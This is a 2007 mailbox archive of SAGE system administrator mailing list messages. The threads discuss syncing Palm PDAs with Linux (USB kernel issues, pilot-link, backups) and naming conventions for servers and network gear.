	by usenix.org (8.13.6/8.13.6) with ESMTP id l08I0NKB029634
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 10:00:23 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08I0Nt0029633
	for sage-members-0utGoign; Mon, 8 Jan 2007 10:00:23 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08HxuGT029612
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 10:00:06 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 0BD353ADE0; Mon,  8 Jan 2007 12:59:47 -0500 (EST)
Date: Mon, 8 Jan 2007 12:59:47 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@usenix.org
Subject: Re: [SAGE] Syncing PDA and Linux
Message-ID: <20070108175947.GC30208@watson-wilson.ca>
References: <E1H3xYG-0000Pi-00@rds059>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <E1H3xYG-0000Pi-00@rds059>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, Jan 08, 2007 at 11:40:48AM -0500, Bill Benedetto wrote:
>However, my situation is slightly different:
> 1) I'm using evolution/gpilotd instead of kpilot.
> 2) My syncing WAS working until some debian upgrade that I did.
>    I BELIEVE it was a normal etch upgrade but I HAVE upgraded my
>    kernel recently (from 2.6.15 to 2.6.18).
> 3) I'm running Etch instead of Sarge.

Since both of us are using the 2.6 kernel I think that may be the issue.
The problem seems to be in the kernel's unwillingness to reliably create
the /dev/ttyUSB? file.

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 1 day
http://watson-wilson.ca


From sage-members-owner@usenix.org Mon Jan  8 10:46:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Ijf2C002192
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 10:45:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08IjfIl002190
	for sage-members-0utGoign; Mon, 8 Jan 2007 10:45:41 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Ii4h1002088
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 10:44:15 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id m3so6124359uge
	for <sage-members@usenix.org>; Mon, 08 Jan 2007 10:44:03 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=O9gf5kKftgYpTttfDZBJbnI2M8n78QHYC+u1VetDuRyOK2YFSt3ILtyZi2mBxgAmjsoSCtWJsFMQE9+IxDqASO14YMdb+Q+wJkyGLeVM+T8vozYX3KCQB7wteVEA4FngzjOIy6FXZiLCI+rwvEzo8VQJY+aKYOzPLogIKIXNlJc=
Received: by 10.78.164.13 with SMTP id m13mr4169130hue.1168281843788;
	Mon, 08 Jan 2007 10:44:03 -0800 (PST)
Received: by 10.78.136.16 with HTTP; Mon, 8 Jan 2007 10:44:03 -0800 (PST)
Message-ID: <bb075cdf0701081044t286b5f19g51266e76e098e702@mail.gmail.com>
Date: Mon, 8 Jan 2007 13:44:03 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "Lamont Granquist" <lamont@scriptkiddie.org>
Subject: Re: [lopsa-discuss] Re: [SAGE] Naming conventions for servers,
	network gear, etc.
Cc: "Brad Knowles" <brad@shub-internet.org>,
	"LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
In-Reply-To: <Pine.GSO.4.60.0701081021510.25091@sploit.scriptkiddie.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
	<p06240502c1c63ac63b22@10.0.1.11>
	<bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
	<p06240500c1c67a4f1f13@10.0.1.11>
	<Pine.GSO.4.60.0701081021510.25091@sploit.scriptkiddie.org>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/8/07, Lamont Granquist <lamont@scriptkiddie.org> wrote:
>
>
> > At 1:55 AM -0500 1/7/07, Rodrick Brown wrote:
> >>  The OS type indication in a hostname makes automation/scripting very
> >>  simple across the board. I have not found a single issue with this
> >>  scheme over the years please enlightenment on where exactly this can
> >>  be problematic so far you've stated nothing but religious reasons.
> >>  Brad I really value your input so please don't take this response as
> >>  an attack in anyway I just want to see where exactly you feel this can
> >>  be an issue.
> >
> > Why encode the OS in the name, when the OS might need to change overnight?
> > Why should the change in the OS require a change in the function or the name?
>
> Yup, maintain a centralized database which records OS type and other
> queriable information about the machines.  Have most of that information
> updated by the end hosts on provisioning and via appropriate cronjobs.
>
> For your configuration management use something like cfengine rather than
> rdist so that you can use labels in the config file which are expanded and
> set correctly on the end-host based on inspected ostype.  That elminates
> the need to use some kind of macro generation around your rdistfile to set
> labels composed of all the linux machines in the fleet.
>
> For doing remote scripting query the mysql database.  While you can do an
> axfr zone transfer and grep out the linux boxes from DNS using your scheme
> that's really a poor way to use DNS as a fleet management database.  It is
> ultimitely much less flexible and is overloading DNS with information that
> you don't always need to know when you're using DNS.
>

This is pretty much the standard in any environment with more than a
100 or so servers, the ability to to identify the server's owner, OS
type, and location just from the host name alone is very useful. I've
yet to see a solid reason why embedding this information into the
hostname inst advantageous. I don't know about you guys but I almost
never have to rebuild an OS with a different OS type so this isn't an
issue of much concern.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Mon Jan  8 11:55:14 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Js36q006727
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 11:54:03 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08Js2H7006725
	for sage-members-0utGoign; Mon, 8 Jan 2007 11:54:03 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08JqRbM006651
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 11:52:38 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id m3so6141494uge
	for <sage-members@usenix.org>; Mon, 08 Jan 2007 11:52:26 -0800 (PST)
Received: by 10.78.131.8 with SMTP id e8mr4215238hud.1168285946381;
	Mon, 08 Jan 2007 11:52:26 -0800 (PST)
Received: by 10.78.179.19 with HTTP; Mon, 8 Jan 2007 11:52:25 -0800 (PST)
Message-ID: <9003ed000701081152j29eba11aiceab73865ce64b05@mail.gmail.com>
Date: Mon, 8 Jan 2007 19:52:25 +0000
From: "Colm Buckley" <colm@tuatha.org>
To: "Rodrick Brown" <rodrick.brown@gmail.com>
Subject: Re: [lopsa-discuss] Re: [SAGE] Naming conventions for servers,
	network gear, etc.
Cc: "Lamont Granquist" <lamont@scriptkiddie.org>,
	"Brad Knowles" <brad@shub-internet.org>,
	"LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
In-Reply-To: <bb075cdf0701081044t286b5f19g51266e76e098e702@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
	<p06240502c1c63ac63b22@10.0.1.11>
	<bb075cdf0701062255r702260a3l9ce8d75865f9d284@mail.gmail.com>
	<p06240500c1c67a4f1f13@10.0.1.11>
	<Pine.GSO.4.60.0701081021510.25091@sploit.scriptkiddie.org>
	<bb075cdf0701081044t286b5f19g51266e76e098e702@mail.gmail.com>
X-Google-Sender-Auth: 9f8721590ee3960d
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 08/01/07, Rodrick Brown <rodrick.brown@gmail.com> wrote:

> This is pretty much the standard in any environment with more than a
> 100 or so servers, the ability to to identify the server's owner, OS
> type, and location just from the host name alone is very useful. I've
> yet to see a solid reason why embedding this information into the
> hostname inst advantageous. I don't know about you guys but I almost
> never have to rebuild an OS with a different OS type so this isn't an
> issue of much concern.

TXT records.

	Colm

-- 
Colm Buckley / colm@tuatha.org / +353 87 2469146


From sage-members-owner@usenix.org Mon Jan  8 11:58:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08JvxoG006948
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 11:58:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08JvxF0006947
	for sage-members-0utGoign; Mon, 8 Jan 2007 11:57:59 -0800 (PST)
Received: from zero.monsters.org (adsl-208-191-248-1.dsl.ltrkar.swbell.net
	[208.191.248.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Jvpbj006936
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 11:57:57 -0800 (PST)
Received: from [10.13.13.109] ([170.94.139.93]) (authenticated bits=0)
	by zero.monsters.org (8.13.7/8.13.7) with ESMTP id l08JpuQo012919
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 13:51:56 -0600
Subject: Re: [SAGE] Syncing PDA and Linux
From: Stephen L Johnson <sjohnson@monsters.org>
To: sage-members@usenix.org
In-Reply-To: <20070108175947.GC30208@watson-wilson.ca>
References: <E1H3xYG-0000Pi-00@rds059>
	<20070108175947.GC30208@watson-wilson.ca>
Content-Type: text/plain
Date: Mon, 08 Jan 2007 13:52:28 -0600
Message-Id: <1168285948.21947.17.camel@rodan.monsters.org>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-2.fc6) 
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc7 (zero.monsters.org [208.191.248.1]);
	Mon, 08 Jan 2007 13:51:56 -0600 (CST)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, 2007-01-08 at 12:59 -0500, Neil Watson wrote:
> On Mon, Jan 08, 2007 at 11:40:48AM -0500, Bill Benedetto wrote:
> >However, my situation is slightly different:
> > 1) I'm using evolution/gpilotd instead of kpilot.
> > 2) My syncing WAS working until some debian upgrade that I did.
> >    I BELIEVE it was a normal etch upgrade but I HAVE upgraded my
> >    kernel recently (from 2.6.15 to 2.6.18).
> > 3) I'm running Etch instead of Sarge.
> 
> Since both of us are using the 2.6 kernel I think that may be the issue.
> The problem seems to be in the kernel's unwillingness to reliably create
> the /dev/ttyUSB? file.

There is some weirdness with USB synch with newer kernels (2.16 and
above.) I've hit similar issues in The USB subsystems seems to connect
and disconnect at random with palm devices. It seems that daemons which
poll never work. 

One thing that seems to work is to start HotSync on the PDA. When
Hotsync "Connecting to..." on the PDA, start the sync session manually
on the computer side. And if all goes well the client on the computer
should connect and sync. And further help can be gleamed in the list
archives at the www.pilot-link.org site. Usually if you are having a
problem someone else has had it before.

And to get my Treo 700p to sync I've good luck using the new 0.12
version the pilot-link packing using the new libusb connection.
Unfortunately all of the palm synch packages are dependent on 0.11.*
versions.  So I'm making do with pilot-link 0.12, connecting with usb:
and the new OpenSync (www.opensync.org) (successor to MultiSync).

-- 
Stephen L Johnson <sjohnson@monsters.org>



From sage-members-owner@usenix.org Mon Jan  8 12:30:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08KUljB008912
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 12:30:48 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08KUlqr008910
	for sage-members-0utGoign; Mon, 8 Jan 2007 12:30:47 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08KUQgG008843
	for <sage-members@sage.org>; Mon, 8 Jan 2007 12:30:37 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id i27so8543664wxd
	for <sage-members@sage.org>; Mon, 08 Jan 2007 12:30:26 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding:sender;
	b=rTfw5x8nDIPZKfX7eDUgG3nx9u1X8amGKsogqJiHeHGCp9pR/8xfdSA0yCXMZT9TtfvGMKyMlkU83jr2BM0LwvZuHt5o4NX3oUjo+4g56TYtMDd2XLIqTHpkIf8xMa81oZCOH385H6G+4WE+BHxQeqVzEp/JigJ3Iv89k7xfP2w=
Received: by 10.70.29.2 with SMTP id c2mr49285532wxc.1168286741999;
	Mon, 08 Jan 2007 12:05:41 -0800 (PST)
Received: from ?10.111.51.182? ( [69.59.255.12])
	by mx.google.com with ESMTP id h34sm786775wxd.2007.01.08.12.05.41;
	Mon, 08 Jan 2007 12:05:41 -0800 (PST)
Message-ID: <45A2A406.7080403@whatexit.org>
Date: Mon, 08 Jan 2007 15:05:26 -0500
From: Tom Reingold <tommy@whatexit.org>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Syncing PDA and Linux
References: <E1H3xYG-0000Pi-00@rds059>	
	<20070108175947.GC30208@watson-wilson.ca>
	<1168285948.21947.17.camel@rodan.monsters.org>
In-Reply-To: <1168285948.21947.17.camel@rodan.monsters.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

pilot-link has trashed my data twice. (I believe kpilot is built upon 
pilot-link.) I wouldn't use it again. I had to restore from my copy on 
Windows back onto my Palm. If I never used Windows, or if I switched 
entirely from Windows to Linux, I would have lost several years of data. 
That would have been a disaster.

My conclusion is that a Palm is no good if all you have on your desktop 
is Linux.

I expect that happy pilot-link users will pipe up now, to counter my 
argument. After all, I'm just one datum.

Tom Reingold
Noo Joizy


From sage-members-owner@usenix.org Mon Jan  8 13:15:46 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08LFj8O011263
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 13:15:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08LFiRw011262
	for sage-members-0utGoign; Mon, 8 Jan 2007 13:15:45 -0800 (PST)
Received: from zero.monsters.org (adsl-208-191-248-1.dsl.ltrkar.swbell.net
	[208.191.248.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08LFMBS011240
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Mon, 8 Jan 2007 13:15:34 -0800 (PST)
Received: from [10.13.13.109] ([170.94.139.93]) (authenticated bits=0)
	by zero.monsters.org (8.13.7/8.13.7) with ESMTP id l08LFLuY013649
	for <sage-members@sage.org>; Mon, 8 Jan 2007 15:15:21 -0600
Subject: Re: [SAGE] Syncing PDA and Linux
From: Stephen L Johnson <sjohnson@monsters.org>
To: sage-members@sage.org
In-Reply-To: <45A2A406.7080403@whatexit.org>
References: <E1H3xYG-0000Pi-00@rds059>
	<20070108175947.GC30208@watson-wilson.ca>
	<1168285948.21947.17.camel@rodan.monsters.org>
	<45A2A406.7080403@whatexit.org>
Content-Type: text/plain
Date: Mon, 08 Jan 2007 15:15:54 -0600
Message-Id: <1168290954.21947.40.camel@rodan.monsters.org>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-2.fc6) 
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc7 (zero.monsters.org [208.191.248.1]);
	Mon, 08 Jan 2007 15:15:21 -0600 (CST)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, 2007-01-08 at 15:05 -0500, Tom Reingold wrote:
> pilot-link has trashed my data twice. (I believe kpilot is built upon 
> pilot-link.) 

I don't know kpilot specifically, but more linked to the libpisock
library which implements the low level communications and basic data
access. Most of the data manipulation and comparing is done by the
application themselves. 

I've lost data myself (most by to my own hacking and experimentation).
So I do periodic, independent backs with pilot-xfer. And I'll use
whatever backup mechanism the desktop software does. pilot-xfer is my
off site backup.

> I wouldn't use it again. I had to restore from my copy on 
> Windows back onto my Palm. If I never used Windows, or if I switched 
> entirely from Windows to Linux, I would have lost several years of data. 
> That would have been a disaster.

I'll only use Windows if a vendor uses some type of Windows based
installers. Thankfully, I don't have to resort to that often. And I have
to admit I had to use a Windows Network HotSync to get the port Network
HotSync was using. They changed it on this new version. (grumble,
grumble)

> 
> My conclusion is that a Palm is no good if all you have on your desktop 
> is Linux.
> 
> I expect that happy pilot-link users will pipe up now, to counter my 
> argument. After all, I'm just one datum.

Well I've been HotSync for years on all of the Palm devices I've owned.
It works most of the time. And when not, I've been able to recover from
any data mishaps. And I've seen my cases of Windows HotSync problems as
well. But I've not seen a case where a cold reset and restore wouldn't
fix. (OK there was that one instance of the magic smoke escaping...) 

> Tom Reingold
> Noo Joizy
-- 
Stephen L Johnson <sjohnson@monsters.org>



From sage-members-owner@usenix.org Mon Jan  8 13:53:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Lr8aB012968
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 13:53:08 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08Lr7JW012967
	for sage-members-0utGoign; Mon, 8 Jan 2007 13:53:07 -0800 (PST)
Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08Lqkk3012949
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 13:52:56 -0800 (PST)
Received: from [13.1.137.151] ([13.1.137.151]) by alpha.xerox.com with SMTP id
	<515850(1)>; Mon, 8 Jan 2007 13:52:28 PST
Message-ID: <45A2BD1C.6070104@PARC.com>
Date: Mon, 8 Jan 2007 13:52:28 PST
From: Keith Farrar <farrar@parc.com>
User-Agent: Thunderbird 1.5.0.9 (X11/20070104)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Palm backups Re: [SAGE] Syncing PDA and Linux
References: <E1H3xYG-0000Pi-00@rds059>	
	<20070108175947.GC30208@watson-wilson.ca>
	<1168285948.21947.17.camel@rodan.monsters.org>
In-Reply-To: <1168285948.21947.17.camel@rodan.monsters.org>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I store a backup of my Palm on an SD card (in addition to my Windows
hot sync).

Red Feline Backup - VFS Backup for Palm OS
 http://www.redfelineninja.dsl.pipex.com/software/rfbackup.html



From sage-members-owner@usenix.org Mon Jan  8 14:59:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08MxEhl017835
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 8 Jan 2007 14:59:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l08MxDDo017834
	for sage-members-0utGoign; Mon, 8 Jan 2007 14:59:13 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l08MwpBe017765
	for <sage-members@usenix.org>; Mon, 8 Jan 2007 14:59:02 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id t12so7511237wxc
	for <sage-members@usenix.org>; Mon, 08 Jan 2007 14:58:51 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=CRhoy5F1NMQHOmzIZmBydSXVmpEXeh1AT7EShDvxI9RsU2V3lC9unAWZ+EFy5c9G3+oj9uKsFMrP/W5YaHXDitpjeQmO6fxqKR71inljHjrGnaGci31M6uTNM+Mom7yhtkf0czg1ooFR2fugZIOW9+OhlW6z1doMkXjMEXu52f8=
Received: by 10.70.132.2 with SMTP id f2mr49600253wxd.1168297131333;
	Mon, 08 Jan 2007 14:58:51 -0800 (PST)
Received: by 10.70.131.11 with HTTP; Mon, 8 Jan 2007 14:58:51 -0800 (PST)
Message-ID: <a9f4a3860701081458q5317675aw6262f38df8346f9f@mail.gmail.com>
Date: Mon, 8 Jan 2007 14:58:51 -0800
From: "Kurt Buff" <kurt.buff@gmail.com>
To: "Etaoin Shrdlu" <shrdlu@deaddrop.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Cc: "SAGE Members" <sage-members@usenix.org>
In-Reply-To: <459FEF6C.8090104@deaddrop.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
	<459FEF6C.8090104@deaddrop.org>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/6/07, Etaoin Shrdlu <shrdlu@deaddrop.org> wrote:
> Jason Antman wrote:
>
> >>Have there been any papers done on naming conventions for servers,
> >>network gear, etc?
> >>
> >>
> >I work for Rutgers University, which has pretty large IT operations
> >department. University-wide, the hosts are named using department-specific
> >names, which are a hodgepodge of functional names  such as NBCS for New
> >Brunswick Computing Services, and "random names" - Eden, Clam, etc.
> >Clustered servers are named such as Eden-u1, Eden-u2, etc.
> >
> >
> I have found over time (and I've seen a lot of time) that *any*
> consistent naming scheme works. It's helpful if the names have some sort
> of internal sense that makes NBCS-Room449 something that is part of your
> responsibility, where Eden-u1 is clearly someone else's (just for
> example). Another thing that's important is the long view. As we know,
> certain operating systems and applications do *not* like being renamed
> (think Oracle; think Windows2k3). The less emotional attachment there is
> to a naming scheme for servers and network devices, the better.
>
> Let me reiterate the excellent work already quoted so many times. I
> don't think it gets better than that.
>
> http://www.nanog.org/mtg-0405/ringel.html
>
> >For my personal networks, I really prefer names that have nothing to do
> >with the functional nature of the machine, as I view this as making
> >network reconnaissance too easy. My home development network has "SATURN"
> >as the main DHCP/DNS/LDAP server, and the other machines are named after
> >Saturn's moons, allowing approximately 56 unique names.
> >
> >
> Amusing, but what on earth makes you think anyone interested in your
> personal network will care in the slightest about what the *name* of
> anything is? If it's interesting enough for someone to care, they will
> *know* that you have all those services running on just one machine, and
> it'll be over. OVER. On the other hand, unless you have the ability to
> support a bunch of bots, I doubt that the bad guys care. Everything's so
> automated now, anyway.
>
> My router is usually named rooter, because it makes me laugh. When it
> comes to small networks, I'd just as soon have names that are memorable
> for the entertainment value, as anything. Some of my favorites have been
> muscle cars (Cobra, Mustang), Nobel Prize winners for physics (with an
> honorary mention for Hawking, who *should* win), and insect predators
> (Mantis, Widow).

Heh. When I was working in a small startup some years ago, I decided
that various breeds of chile pepper sounded yummy for my machines -
habanero, jalapeno, ancho, piquin, etc. When I got to a larger site
(more than about 12 servers), I started to name them after functions
again. And made the names as short as possible - fs1 for the first
fileserver, etc. - because it simply made more sense. I've never had
responsibility for more than 50 servers at a whack, but I'm now in a
position where we have over 400 PCs on the net, and I'm enforcing a
stardard of the 2-or-3 letter department code, a dash and the
username. Haven't had any collisions in that namespace yet, but if we
do, I'll just start using middle initials, or append a numeral, or
something like that.

If I ever become responsible for a larger environment, then the ideas
in the Ringel presentation will definitely prove useful.



Kurt


From sage-members-owner@usenix.org Tue Jan  9 13:40:39 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l09LeWF0017933
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 9 Jan 2007 13:40:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l09LeWpI017932
	for sage-members-0utGoign; Tue, 9 Jan 2007 13:40:32 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l09LeO7s017914
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 9 Jan 2007 13:40:24 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l09LeOvb017913
	for sage-members@usenix.org; Tue, 9 Jan 2007 13:40:24 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l09JKh0I010621
	for <sage-members@sage.org>; Tue, 9 Jan 2007 11:20:53 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	B300436A7B
	for <sage-members@sage.org>; Tue,  9 Jan 2007 11:20:30 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id QAwxan3jdVET for <sage-members@sage.org>;
	Tue,  9 Jan 2007 11:20:27 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id D5DBD36A29
	for <sage-members@sage.org>; Tue,  9 Jan 2007 11:20:26 -0800 (PST)
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: sage-members@usenix.org
To: SAGE Members <sage-members@sage.org>
In-Reply-To: <459FF525.9000307@chycoski.com>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
	<20070106130454.F21945@skink.reptiles.org>
	<459FF525.9000307@chycoski.com>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-HYZkLkqm1/AzX1lA/n5U"
Organization: http://nakedape.cc
Date: Tue, 09 Jan 2007 11:20:25 -0800
Message-Id: <1168370425.3885.35.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


